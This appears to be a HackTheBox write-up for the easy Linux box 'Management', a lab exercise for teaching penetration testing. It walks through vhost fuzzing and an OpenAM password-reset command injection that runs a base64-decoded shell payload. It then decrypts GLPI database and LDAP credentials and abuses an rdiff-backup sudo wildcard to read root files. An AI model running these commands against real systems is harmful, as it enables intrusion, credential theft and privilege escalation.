Management
Platform
HackTheBox
Difficulty
Easy
OS
Linux
Summary
Management is an easy Linux box exposing an OpenAM instance on a discovered SSO virtual host. A password-reset command injection provides an initial shell as openam. Credentials in GLPI's LDAP configuration lead to user owen, whose sudo rule permits an rdiff-backup argument injection and unrestricted file recovery as root.
Enumeration
Starting Nmap 7.98 ( https://nmap.org ) at 2026-09-13 06:14 -0400 Nmap scan report for management.htb (10.129.68.47) Host is up (0.11s latency). Not shown: 995 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA) |_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Did not follow redirect to https://management.htb/ 443/tcp open ssl/http nginx 1.24.0 (Ubuntu) | tls-alpn: | http/1.1 | http/1.0 |_ http/0.9 |_ssl-date: TLS randomness does not represent time |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Management \xE2\x80\x94 Managed IT & Infrastructure | ssl-cert: Subject: commonName=management.htb/organizationName=Management Managed Services Ltd | Subject Alternative Name: DNS:management.htb, DNS:*.management.htb | Not valid before: 2026-06-02T01:21:44 |_Not valid after: 2126-05-09T01:21:44 4444/tcp open ssl/ldap |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=sso.management.htb/organizationName=Administration Connector RSA Self-Signed Certificate | Not valid before: 2026-06-02T01:23:59 |_Not valid after: 2046-05-28T01:23:59 | fingerprint-strings: | LDAPSearchReq: | 0<0: | objectClass1+ | ds-root-dse |_ ds-cfg-root-dse-backend0 50389/tcp open ldap (Anonymous bind OK) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port4444-TCP:V=7.98%T=SSL%I=7%D=9/13%Time=6AA677AB%P=x86_64-pc-linux-gnu%r(LDAPSearchReq,55,"0E\x02\x01\x07d@\x04\x000<0:\x04\x0bobjectClass1\x+\x04\x03top\x04\x0bds-root-dse\x04\x17ds-cfg-root-dse-backend0\x0c\x02\x01\x07e\x07\n\x01\0\x04\0\x04\0"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 70.13 seconds
Vhosts - https://10.129.68.47:443
ffuf -s -u https://10.129.68.47 -H 'Host: FUZZ.management.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 15 -timeout 5 -fc 404,400 -ac -noninteractive -k sso
Go to sso.management.htb. OpenAM login page. Look for a CVE: https://github.com/infernosalex/CVE-2026-33439-Python-PoC
Foothold
python exploit.py --url https://sso.management.htb/openam/ui/PWResetUserValidation 'id' [+] HTTP 200 uid=996(openam) gid=987(openam) groups=987(openam)
Craft a RCE payload and get a reverse shell:
python exploit.py --url https://sso.management.htb/openam/ui/PWResetUserValidation 'echo "<base64_encoded_payload>" | base64 -d | sh'
We have a shell as openam.
Lateral Movement
openam@management:/opt/glpi/config$ cat config_db.php
cat config_db.php
<?php
class DB extends DBmysql {
public $dbhost = '127.0.0.1';
public $dbuser = 'glpi';
public $dbpassword = '8rhu0L6Pw4Y7';
public $dbdefault = 'glpidb';
public $use_utf8mb4 = true;
public $allow_datetime = false;
public $allow_signed_keys = false;
}
mysql -u glpi -p'8rhu0L6Pw4Y7' -h 127.0.0.1 select id,name,password from glpi_users; +----+-------------+--------------------------------------------------------------+ | id | name | password | +----+-------------+--------------------------------------------------------------+ | 2 | glpi | $2y$10$XbpKpVeQdlzK9Z6ld0aDUulxAS5s6Y.Lc/CtHldOVIlAKNqP7BY1G | | 3 | post-only | $2y$10$2.DfnJoLnGf4ZiFGMLHYiuVDMwMHKlvwbRvlXE6ZAxwzevQBqNOI2 | | 4 | tech | $2y$10$qXRfoBja9A82RlrJLZuTB.NNVbTyRsjId4xMnthAwUCX/fNnuXoLe | | 5 | normal | $2y$10$vsU3M49DpDxr4rHFLzyU0.0mjYMqg1EtK4vY7e8E759SgDWAX208K | | 6 | glpi-system | | +----+-------------+--------------------------------------------------------------+ Dead end! select name, rootdn_passwd from glpi_authldaps; +----------------------+--------------------------------------------------------------------------+ | name | rootdn_passwd | +----------------------+--------------------------------------------------------------------------+ | Management Directory | avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw== | +----------------------+--------------------------------------------------------------------------+
Decrypt the password using the readable glpicrypt.key.
php -r '
$key = file_get_contents("/opt/glpi/config/glpicrypt.key");
$enc = base64_decode("avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==");
$nonce = substr($enc, 0, 24);
$ciphertext = substr($enc, 24);
$plain = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
$ciphertext,
$nonce,
$nonce,
$key
);
echo $plain . PHP_EOL;
'
The password is WpczC40GhTbk getting access to owen. Get the user flag.
Privilege Escalation
sudo -l
User owen may run the following commands on management:
(root) NOPASSWD: /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only *
Sudo rule likely allows argument injection after fixed options. Test whether later --restrict-path / overrides /opt/backup:
sudo /usr/bin/rdiff-backup \ --server \ --restrict-path /opt/backup \ --restrict-mode read-only \ --restrict-path /
It will appear to hang because server mode waits for rdiff-backup protocol. Stop with Ctrl-C.
Use client mode to retrieve files, install rdiff-backup on your machine and run:
mkdir /tmp/restore rdiff-backup \ --remote-schema 'ssh %s sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only *' \ owen@management.htb::/ \ /tmp/restore
If override works, change the remote command to include a final --restrict-path /:
rdiff-backup \ --remote-schema 'ssh %s sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only --restrict-path /' \ owen@management.htb::/root \ /tmp/restore
Go into /tmp/restore and get the root flag!
Key Takeaways
- Enumerate virtual hosts when the primary web service redirects to HTTPS.
- Review application configuration for encrypted secrets and locate the application key used to decrypt them.
- Validate every argument permitted by wildcard sudo rules, especially repeated restriction options.